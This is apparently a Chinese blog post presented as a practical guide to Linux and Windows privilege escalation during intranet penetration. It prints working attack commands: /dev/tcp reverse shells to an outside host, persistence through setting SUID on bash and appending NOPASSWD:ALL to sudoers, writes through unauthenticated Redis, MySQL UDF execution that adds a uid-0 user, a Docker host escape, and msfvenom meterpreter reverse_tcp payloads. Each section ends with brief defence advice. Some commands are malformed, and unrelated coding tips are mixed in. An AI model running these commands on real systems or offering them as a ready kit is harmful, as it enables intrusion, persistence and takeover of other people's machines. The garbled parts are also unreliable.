内网渗透实战指南:Linux与Windows提权技术深度解析

内网渗透是网络安全领域的重要技能,提权技术更是其中的核心。本文从Linux和Windows双平台出发,深入解析SUID、Sudo、定时任务等常见提权手法,并附带10条必背命令,助你快速掌握攻防精髓。

Linux提权技术详解

SUID提权:从普通用户到Root的捷径

SUID是Linux的特殊权限,当可执行文件设置了SUID位且属主为root时,普通用户运行该程序即可临时获得root权限。攻击者常利用系统权限配置错误,如给findbashvimcatawkcp等高危命令添加SUID位。利用方法如下:

# 查找所有带 SUID 的文件
find / -perm -u=s -type f 2>/dev/null | xargs ls -la
# 经典利用:find 提权反弹 shell
find /etc/shadow -exec bash -i >& /dev/tcp/192.168.88.1/9001 0>&1 -p \;

权限维持(攻击者常用)

chmod u+s /bin/bash
chmod u+s /bin/sh
chmod u+s /bin/vi
chmod u+s /bin/vim
chmod u+s /bin/cat
chmod u+s /bin/awk
chmod u+s /usr/bin/curl

防御建议:禁止给上述高危命令设置SUID。定期扫描系统SUID文件:

find / -perm -4000 -o -perm -2000

使用noexec挂载/tmp/var/tmp。在Python或Go开发中,务必避免使用SUID方式提升权限,改用更安全的capabilities机制。

Sudo提权:宽松配置下的权限滥用

Sudo的本质是/etc/sudoers配置允许普通用户以root或其他用户身份执行命令。若配置过于宽松(如NOPASSWD:ALL、可执行任意命令),攻击者可直接提权。利用方法:

# 直接获取 root shell
sudo bash -i
# 反弹 shell
sudo bash -i >& /dev/tcp/192.168.88.1/9001 0>&1

权限维持

# 写入 sudoers,让普通用户拥有所有权限
echo "daemon ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# 定时任务维持
echo "*/10 * * * *  echo \"daemon ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers" >> /var/spool/cron/root

防御:遵循最小权限原则,只允许执行必要命令。禁止NOPASSWD、禁止ALL。监控/etc/sudoers/var/spool/cron变更。在Java或C++编写的工具中,建议硬编码sudoers规则,避免动态解析。

定时任务(Cron)提权:利用可写脚本

系统定时任务默认以root运行。若脚本或目录权限过宽(如777),普通用户可写入恶意代码实现提权。利用方法:

# 查看定时任务
cat /etc/crontab
ls -l /var/spool/cron/
# 向可写脚本追加反弹 shell
echo "* * * * * bash -i >& /dev/tcp/IP/9999 0>&1" >> /path/to/script.sh

防御:定时任务脚本权限设为root:root 700。监控/etc/cron*/var/spool/cron。在JavaScript或Shell脚本中,务必使用绝对路径调用命令。

环境变量劫持提权与第三方服务漏洞

带SUID的程序执行系统命令(如catls)时,会按PATH顺序查找。攻击者可构造同名恶意程序,放入高优先级PATH,劫持系统命令。利用步骤:

# 1. 构造恶意脚本
echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat
chmod +x /tmp/cat
# 2. 修改环境变量
export PATH=/tmp:$PATH
# 3. 运行带 SUID 的程序,它调用 cat 时就会执行你的 bash
./suid_program

防御:SUID程序使用绝对路径调用系统命令。禁止用户向关键PATH写入。使用secure_path限制sudo环境变量。

第三方服务提权:Redis以root运行且未授权时,可通过SSH公钥或Cron任务提权:

# 本地生成密钥
ssh-keygen -t rsa
# 写入 Redis
redis-cli -h IP set pub "\n\n`cat id_rsa.pub`\n\n"
redis-cli -h IP config set dir /root/.ssh
redis-cli -h IP config set dbfilename authorized_keys
redis-cli -h IP save
# 登录
ssh -i id_rsa root@IP
redis-cli config set dir /var/spool/cron
redis-cli config set dbfilename root
redis-cli -x set cron <& /dev/tcp/IP/8888 0>&1
EOF
redis-cli save

MySQL UDF提权需MySQL以root运行,可上传并加载自定义UDF动态库:

# 1. 编译 UDF
gcc -g -c 1518.c -fPIC
gcc -g -shared -o udf.so 1518.o -lc
# 2. 上传到 plugin 目录
# 3. MySQL 中创建函数
create function do_system returns integer soname 'udf.so';
# 4. 执行系统命令提权
select do_system('chmod u+s /bin/bash');
select do_system('useradd -o -u 0 hacker');

Docker组提权:用户属于docker组,可挂载宿主机目录到容器,修改宿主机文件:

docker run -it --privileged -v /:/mnt alpine
chroot /mnt
# 此时已完全控制宿主机

防御:禁止普通用户加入docker组,启用Docker用户命名空间隔离。在Python或Go编写的自动化部署脚本中,建议使用非root用户运行服务。

Linux内核/CVE漏洞提权

内核或系统组件存在本地提权漏洞,如DirtyCow(CVE-2016-5195)、sudo漏洞(CVE-2021-3156、CVE-2019-14287)、polkit/pkexec(CVE-2021-4034)。防御:及时更新内核与系统包,启用安全加固(ASLR、DEP、SELinux/AppArmor)。

Windows提权技术实战

Windows内核/CVE提权

系统存在本地提权漏洞,如MS10-015、MS14-058、MS15-051、MS16-016、CVE-2019-0836、CVE-2021-40449等。MSF利用:

use post/multi/recon/local_exploit_suggester
run

防御:打全Windows补丁,启用Windows Defender + 防火墙。在C++或Java编写的驱动程序中,务必遵循安全编码规范。

系统服务配置错误与路径劫持

Windows服务默认以System运行。若服务可被普通用户修改路径,可替换为木马:

sc create test binPath= "C:\shell.exe" start= auto
sc start test
sc config test binPath= "C:\shell.exe"
sc delete test

路径空格劫持:Windows解析带空格路径时,会优先尝试短文件名:

C:\Program Files\A.exe

→ 先尝试C:\Program.exe。利用方法:生成木马Program.exe放到C:\,重启或触发服务运行。

防御:路径加引号"C:\Program Files\...",监控C:\Program.exe这类异常文件。

进程迁移、DLL劫持与UAC绕过

进程迁移:服务启动的木马易被杀,迁移到系统稳定进程(winlogon、svchost):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=6666 ^
prependmigrate=true prependmigrateproc=winlogon.exe -f exe -o s.exe

DLL劫持:程序启动时按顺序加载DLL,攻击者替换缺失或可写DLL执行代码:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=7777 -f dll -o xxx.dll

UAC绕过:UAC提示可被绕过,普通用户静默获得管理员权限:

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f

再运行MSI安装包即可以System安装。防御:启用最高级UAC,普通用户无注册表写权限,组策略禁用AlwaysInstallElevated

整体防御总结与实用命令

通用防御策略

  • Linux:最小权限,禁止不必要SUID/SGID。关键文件权限严格:/etc/passwd/etc/sudoers/etc/shadow。定期更新,启用SELinux/AppArmor。低权限运行服务(Redis、MySQL、Docker)。
  • Windows:打补丁,禁用无用服务。高UAC级别,普通用户不加入管理员组。服务路径加引号,DLL签名校验。使用EDR/行为监控。

[AFFILIATE_SLOT_1]

内网渗透必背10条命令

一、基础信息收集

  • 查看本机IP、网卡、域名信息:

  • 查看当前用户权限:

  • 查看用户权限详情(提权必备):

二、域环境判断

  • 判断是否在域、查看域名、域控:

  • 列出所有域用户:

  • 查看域管理员组成员:

三、系统与进程

  • 查看系统版本、补丁号(CVE提权用):

  • 查看进程(查杀软/EDR):

四、网络与内网

  • 查看内网其他主机(ARP缓存):

  • 查看端口占用、网络连接:netstat -ano

[AFFILIATE_SLOT_2]

掌握这些命令和提权技术,你将在内网渗透测试中游刃有余。记住,防御永远比攻击更重要,最小权限原则和安全加固是根本。

ipconfig /allwhoamiwhoami /privnet config workstationnet user /domainnet group "Domain Admins" /domainsysteminfotasklistarp -a

posted on 2026-07-10 20:17  wgwyanfs  阅读(9)  评论(0)    收藏  举报

导航